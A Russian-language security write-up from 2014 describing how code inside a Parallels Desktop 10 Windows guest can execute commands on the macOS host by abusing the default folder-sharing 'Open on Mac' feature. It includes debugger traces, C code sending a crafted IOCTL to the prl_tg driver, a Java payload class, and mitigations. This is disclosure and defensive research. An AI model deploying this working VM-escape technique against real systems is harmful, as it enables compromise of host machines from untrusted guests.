24.11.2014

Простейшая реализация «побега» из виртуальной машины в Parallels Desktop

image

В этой статье я расскажу небольшую историю о «побеге» из виртуальной машины Parallels Desktop 10 для Mac без использования каких-либо уязвимостей.

Автор: Дмитрий Олексюк aka Cr4sh

В этой статье я расскажу небольшую историю о «побеге» из виртуальной машины Parallels Desktop 10 для Mac без использования каких-либо уязвимостей. Атака не связана с брешами в гипервизоре или в низкоуровневых коммуникационных интерфейсах между Guest и Host и может быть реализована при помощи простейшей вредоносной программы под Windows, если в виртуальной машине установлены небезопасные настройки.

Суть проблемы

Для меня всегда было очевидно, что расширенные возможности для коммуникации с гостевыми операционными системами (практически во всех современных системах виртуализации есть подобные операционные системы) могут таить в себе потенциальные угрозы безопасности. Наконец, недавно, я решил проверить, какими конкретно могут быть эти угрозы на примере системы виртуализации, которую я использую в OS X (как, впрочем, и миллионы других пользователей). Parallels Desktop 10 – прекрасный продукт и, думаю, в настоящее времени этому продукту уделяется намного меньше внимания со стороны специалистов по безопасности, чем следовало бы.

В виртуальных машинах в Parallels Desktop 10 есть множество возможностей, позволяющих гостевым операционным системам быть максимально интегрированными с хостом. Большинство из этих настроек установлены по умолчанию.

Рассмотрим некоторые из подобных возможностей:

Рисунок 1: Один из разделов с настройками виртуальной машины в Parallels Desktop 10

На первый взгляд опция «Access Windows folder from Mac» выглядит весьма безобидно (обратите внимание, что остальные настройки, связанные с общим доступом, отключены). Опция «Access Windows folder from Mac» по умолчанию включена во всех виртуальных машинах. Суть настройки заключается в следующем (описание взято из руководства пользователя):

Доступ к папкам и файлам ОС Windows из приложений на базе Mac OS X

По умолчанию из Mac OS X вы можете получить доступ ко всем файлам и папкам в Windows. Windows-диски подключаются к папке /Volumes. В то же время, на рабочем столе Mac OS X, система Windows отображается как жесткий диск.

Примечание: Даже когда Windows-диск не виден на рабочем столе и в менеджере Finder, вы все еще можете получить доступ ко всем файлам и папкам в Windows через файл Windows PVM и Terminal (/Volumes). По умолчанию файл PVM находится либо в папке Users/<Username>/Documents/Parallels/, либо в папке /Users/Shared. Также файл PVM можно найти, если кликнуть правой кнопкой мыши на гостевой операционной системе (в нашем случае это одна из версий Windows) в Parallels Desktop Control Center (или в окне виртуальной машины, когда работа в Windows завершена) и выбрать Show in Finder. Для доступа к файлам и папкам Windows кликните на PVM-файле, в контекстном меню выберите Show Package Contents и откройте папку Windows Disks. Чтобы отключить возможность навигации по файлам и папкам Windows, отключите опцию Access Windows folders from Mac в шаге 3 выше.

Ну, скажете вы, всего лишь расшарен файл гостевой операционной системы, что в этом плохого? К сожалению, плохого много.

После включения опции «Access Windows folders from Mac» можно заметить, что в Windows Explorer гостевой операционной системы появился новый очень интересный пункт «Open on Mac»:

Рисунок 2: Обновленное контекстное меню в гостевой операционной системы

Выглядит многообещающе, правда? Технически происходит посылка запроса приложению Parallels, работающему на хосте, на действие, эквивалентное двойному клику на целевом файле в менеджере Finder на стороне хоста.

Функционал этой опции на стороне гостевой системы реализован в файле PrlToolsShellExt.dll, расширении для оболочки (контрольная сумма MD5 для DLL версии 10.1.1.28614 в гостевой системе Windows 8.1 x64 - 97D15FB584C589FA297434E08CD0252F). Обработчик клика на строке меню находится в функции sub_180005834(). После обработки входных значений отсылается IOCTL-запрос к устройству \Device\prl_tg, связанному с одним из драйверов уровня ядра (prl_tg.sys) приложения Parallels.

Рисунок 3: Участок кода PrlToolsShellExt.dll, связанный с IOCTL-запросом

После срабатывании точки останова на DeviceIoControl()получаем содержимое стека и аргументы функции:

0:037> k L7
Child-SP RetAddr Call Site
00000000`12bcd1c0 00007ff9`2a016969 PrlToolsShellExt!DllUnregisterServer+0x1596
00000000`12bcd310 00007ff9`2a01fd71 SHELL32!Ordinal93+0x225
00000000`12bcd410 00007ff9`2a4cf03a SHELL32!SHCreateDefaultContextMenu+0x581
00000000`12bcd780 00007ff9`2a4cc4b1 SHELL32!Ordinal927+0x156c2
00000000`12bcdaf0 00007ff9`2a4c76f7 SHELL32!Ordinal927+0x12b39
00000000`12bcded0 00007ff9`21d09944 SHELL32!Ordinal927+0xdd7f
00000000`12bcdf20 00007ff9`21d059d3 explorerframe!UIItemsView::ShowContextMenu+0x298

Первые 4 аргумента функции DeviceIoControl(), rcx – обработчик устройства, r8 – входной буфер, r9 – размер буфера:

0:037> r
rax=0000000012bcd240 rbx=0000000000000000 rcx=0000000000000d74
rdx=000000000022a004 rsi=0000000000000001 rdi=0000000000000070
rip=00007ff918bd5b92 rsp=0000000012bcd1c0 rbp=000000000022a004
r8=0000000012bcd240 r9=0000000000000070 r10=000000001a5bc990
r11=000000001a5bd110 r12=0000000000000002 r13=0000000012bcd490
r14=0000000012bcd4a0 r15=0000000016af90f0

Последние 4 аргумента функции DeviceIoControl(), которые проходили через стек:

0:037> dq rsp L4
00000000`12bcd1c0 00000000`00000000 00000000`02bdc218
00000000`12bcd1d0 00000000`00000001 00000000`00ce2480

Входной буфер IOCTL-запроса:

0:037> dq @r8
00000000`12bcd240 ffffffff`00008321 00000000`00010050
00000000`12bcd250 00000000`00000001 00000000`00000002
00000000`12bcd260 00000000`00000002 00000000`00000000
00000000`12bcd270 00000000`00000000 00000000`00000000
00000000`12bcd280 00000000`00000000 00000000`00000000
00000000`12bcd290 00000000`00000000 00000000`00000000
00000000`12bcd2a0 00000000`02c787d0 00000000`0000003c

В буфере находятся различные магические значения и указатель на ASCII-строку, содержащую путь к целевому файлу по смещению 0x60:

0:037> da poi(@r8+60)
00000000`02c787d0 "\\psf\TC\dev\_exploits\prl_guet_"
00000000`02c787f0 "to_host\New Text Document.txt"

После пересылки драйверу управляющего IOCTL-запроса открывается соответствующий файл на стороне хоста. Интересно еще и то, что это действие может быть инициировано от имени любого Windows-пользователя (в том числе и гостя):

Рисунок 4: Права доступа к устройству \Device\prl_tg

И поскольку целевой файл будет открыт на стороне хоста с привилегиями текущего OS X пользователя, кажется, что опция «Access Windows folder from Mac» не является столь безобидной и невинной.

Схема реализации атаки

Функция, представленная ниже, была реализована после анализа расширения для оболочки. Функция взаимодействует с драйвером уровня ядра приложения Parallels и запускает файл на стороне хоста.

void OpenFileAtTheHostSide(char *lpszFilePath)
{
HANDLE hDev = NULL;

// get handle to the target device
if (OpenDevice(L"\\Device\\prl_tg", &hDev))
{
PDWORD64 RequestData = (PDWORD64)LocalAlloc(LMEM_FIXED, 0x70);
if (RequestData)
{
IO_STATUS_BLOCK StatusBlock;

ZeroMemory(RequestData, 0x70);

/*
Fill IOCTL request input buffer.
It has the same layout on x86 and x64 versions of Windows
*/
RequestData[0x0] = 0xffffffff00008321; // magic values
RequestData[0x1] = 0x0000000000010050;
RequestData[0x2] = 0x0000000000000001;
RequestData[0x3] = 0x0000000000000002;
RequestData[0x4] = 0x0000000000000002;
RequestData[0xc] = (DWORD64)lpszFilePath; // file path and it's length
RequestData[0xd] = (DWORD64)strlen(lpszFilePath) + 1;

NTSTATUS ns = NtDeviceIoControlFile(
hDev, NULL, NULL, NULL, &StatusBlock,
0x22a004, // IOCTL code
RequestData, 0x70,
RequestData, 0x70
);

DbgMsg(__FILE__, __LINE__, "Device I/O control request status is 0x%.8x\n", ns);

// ...

M_FREE(RequestData);
}

CloseHandle(hDev);
}
}

Теперь напишем полезную нагрузку.

К сожалению, подобным способом нельзя выполнить shell-скрипт или файл AppleScript, поскольку эти файла откроются в текстовом редакторе. Но есть и другие не менее серьезные угрозы, которые может осуществить злоумышленник, имея возможность открывать произвольные файлы. К примеру, можно создать Java-класс (файл с расширением .class), выполняющий определенную команду и сохраняющий результат выполнения в гостевой файловой системе (которая обычно находится в /Volumes/<windows_letter>):

public static void main(String[] args)
{
// exeute command and get it's output
StringBuilder output = new StringBuilder();
if (exec(defaultCmd, output) == -1)
{
output.append("Error while executing command");
}

String volumesPath = "/Volumes";
File folder = new File(volumesPath);

// enumerate mounted volumes of Parallels guests
for (File file : folder.listFiles())
{
if (file.isDirectory())
{
// try to save command output into the temp
String outFile = volumesPath + "/" +
file.getName() + "/Windows/Temp/prl_host_out.txt";

try
{
write(outFile, output.toString());
}
catch (IOException e) { continue; }
}
}
}

Используя класс, показанный выше, и функцию OpenFileAtTheHostSide(), можно реализовать рабочий эксплоит для выполнения команд:

Рисунок 5: Пример использования эксплоита

Полная версия кода эксплоита доступна на GitHub: https://github.com/Cr4sh/prl_guest_to_host

Защититься от угрозы довольно просто, достаточно отключить опцию «Access Windows folder from Mac» в настройках виртуальной машины, чтобы предотвратить возможность открытия файлов из гостевых систем.

Также можно включить опцию «Isolate Windows from Mac», которая (теоретически) запрещает на виртуальной машине все возможности, связанные с общим доступом.

Рисунок 6: Установка опции «Isolate Windows from Mac»

Дополнительная информация

· Проблема скорее относится к неточностям в документации, чем к уязвимости в системе виртуализации. Для пользователя совершенно неочевидно, что открытие доступа к файлам гостевой операционной системы может привести к запуску произвольного кода на стороне хоста.

· Эксплоит очень простой и надежный. Работает во всех версиях Windows на гостевых машинах. Атаку можно осуществить от имени любого Windows-пользователя, принадлежащего группе Everyone. Проблема также имеет место быть и в других гостевых операционных системах (например, в Linux и OS X), хотя приведенный код создавался только под Windows.

· Если подобные атаки критичны для вашей системы, отключите все возможности, связанные с общим доступом.

· Думаю, маловероятно, что компания Parallels выпустит сколь-нибудь значимые патчи для исправления этой проблемы, поскольку после изменений в этом механизме, станет невозможно легко открывать Windows-документы в Mac.

· Я экспериментировал только с настройками, связанными с общим доступом, однако, кто знает, какие еще похожие (или еще более серьезные) проблемы существуют в продуктах Parallels, VMware и Oracle.